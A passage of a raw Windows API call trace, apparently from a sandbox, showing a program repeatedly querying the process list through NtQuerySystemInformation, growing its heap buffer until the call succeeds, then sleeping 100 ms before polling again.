[0041.213] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xa168) returned 0x537e58 [0041.213] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0041.214] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xb18c) returned 0x537e58 [0041.214] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0041.214] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xc1b0) returned 0x537e58 [0041.214] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0x0 [0041.214] Sleep (dwMilliseconds=0x64) [0041.340] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e70, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x517e70, ResultLength=0x0) returned 0xc0000004 [0041.340] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x4feea8 [0041.340] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4feea8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4feea8, ResultLength=0x0) returned 0xc0000004 [0041.340] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4feea8, Size=0x306c) returned 0x50abf8 [0041.341] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0041.341] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0041.341] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0041.341] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0041.341] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0041.342] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0041.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0041.342] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x537e58 [0041.343] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0041.344] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0x8120) returned 0x537e58 [0041.344] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0041.344] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0x9144) returned 0x537e58 [0041.345] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0041.345] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xa168) returned 0x537e58 [0041.345] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0041.345] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xb18c) returned 0x537e58 [0041.345] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0xc0000004 [0041.345] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e58, Size=0xc1b0) returned 0x537e58 [0041.345] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x537e58, ResultLength=0x0) returned 0x0 [0041.346] Sleep (dwMilliseconds=0x64) [0042.269] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e70, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x517e70, ResultLength=0x0) returned 0xc0000004 [0042.270] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0042.271] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0042.271] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0042.272] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0042.272] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0042.272] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0042.272] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0042.272] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0042.272] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0042.272] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0042.272] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0042.273] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0042.273] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0042.273] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0042.273] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0042.273] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0042.273] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0042.273] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0042.273] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0042.273] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0042.274] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0042.274] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0042.275] Sleep (dwMilliseconds=0x64) [0042.432] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e70, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x517e70, ResultLength=0x0) returned 0xc0000004 [0042.432] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0042.432] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0042.432] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0042.432] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0042.433] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0042.433] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0042.433] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0042.433] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0042.433] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0042.433] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0042.433] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0042.433] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0042.433] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0042.433] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0042.433] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0042.433] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0042.434] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0042.434] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0042.434] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0042.434] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0042.434] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0042.434] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0042.434] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0042.434] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0042.434] Sleep (dwMilliseconds=0x64) [0042.742] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e70, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x517e70, ResultLength=0x0) returned 0xc0000004 [0042.742] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0042.742] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0042.742] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0042.742] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0042.743] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0042.743] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0042.743] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0042.743] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0042.743] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0042.743] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0042.743] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0042.743] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0042.743] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0042.743] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0042.743] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0042.744] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0042.744] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0042.744] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0042.744] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0042.744] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0042.744] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0042.744] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0042.744] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0042.744] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0042.745] Sleep (dwMilliseconds=0x64) [0043.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e70, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x517e70, ResultLength=0x0) returned 0xc0000004 [0043.587] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0043.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0043.587] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0043.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0043.587] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0043.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0043.587] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0043.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0043.587] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0043.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0043.588] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0043.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0043.588] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0043.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0043.588] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0043.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0043.588] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0043.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0043.588] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0043.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0043.589] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0043.589] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0043.589] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0043.589] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0043.589] Sleep (dwMilliseconds=0x64) [0043.761] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e70, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x517e70, ResultLength=0x0) returned 0xc0000004 [0043.761] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0043.761] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0043.761] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0043.761] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0043.761] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0043.761] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0043.761] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0043.762] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0043.762] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0043.762] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0043.762] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0043.762] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0043.762] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0043.762] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0043.762] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0043.762] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0043.763] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0043.763] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0043.763] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0043.763] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0043.763] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0043.763] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0043.763] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 [0043.763] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0x0 [0043.763] Sleep (dwMilliseconds=0x64) [0044.256] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x517e70, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x517e70, ResultLength=0x0) returned 0xc0000004 [0044.259] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x517e70, Size=0x2048) returned 0x537e70 [0044.259] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x537e70, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x537e70, ResultLength=0x0) returned 0xc0000004 [0044.260] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x537e70, Size=0x306c) returned 0x50abf8 [0044.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0044.260] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x4090) returned 0x50abf8 [0044.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0044.260] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x50b4) returned 0x50abf8 [0044.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0044.260] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x60d8) returned 0x50abf8 [0044.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50abf8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x50abf8, ResultLength=0x0) returned 0xc0000004 [0044.260] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50abf8, Size=0x70fc) returned 0x577e58 [0044.260] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0044.261] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x8120) returned 0x577e58 [0044.261] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0044.261] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0x9144) returned 0x577e58 [0044.261] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0044.261] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xa168) returned 0x577e58 [0044.261] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0044.262] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xb18c) returned 0x577e58 [0044.262] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0044.262] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xc1b0) returned 0x577e58 [0044.262] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x577e58, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x577e58, ResultLength=0x0) returned 0xc0000004 [0044.262] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x577e58, Size=0xd1d4) returned 0x577e58 